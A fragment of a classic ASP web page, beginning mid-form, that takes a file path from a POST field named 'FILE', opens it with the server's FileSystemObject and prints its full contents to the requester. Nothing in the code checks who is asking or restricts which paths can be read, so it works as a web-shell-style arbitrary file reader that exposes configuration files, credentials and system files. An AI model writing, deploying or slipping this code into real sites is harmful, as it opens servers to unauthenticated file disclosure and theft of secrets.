" method="POST"> "> 
   <%
     ' was it a POST request?
     If UCase(Request.ServerVariables("HTTP_METHOD")) = "POST" Then

       ' create object for file I/O
       Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
       ' open the specified file
       Set objFILE = objFSO.OpenTextFile(Request.Form("FILE"))
       
       ' output message if an error has occured
       If Err.Number <> 0 Then

         Response.Write "Error trying open the file """ & _
             Request.Form("FILE") & """" & vbCrLf & _
             "Error Number = " & Err.Number & vbCrLf & _
             "Error Description = " & Err.Description & vbCrLf

       ' otherwise show the file
       Else

         ' show the page start
         Response.Write "----- START OF PAGE -----" & vbCrLf
       
         ' loop through the page contents
         While Not objFILE.AtEndOfStream
           Response.Write Server.HTMLEncode(objFILE.ReadLine) & vbCrLf
         Wend

         ' show the page end
         Response.Write "----- END OF PAGE -----" & vbCrLf

         ' close the specified file
         objFILE.Close
         ' discard the file I/O object
         Set objFSO = Nothing

       End If

     End If
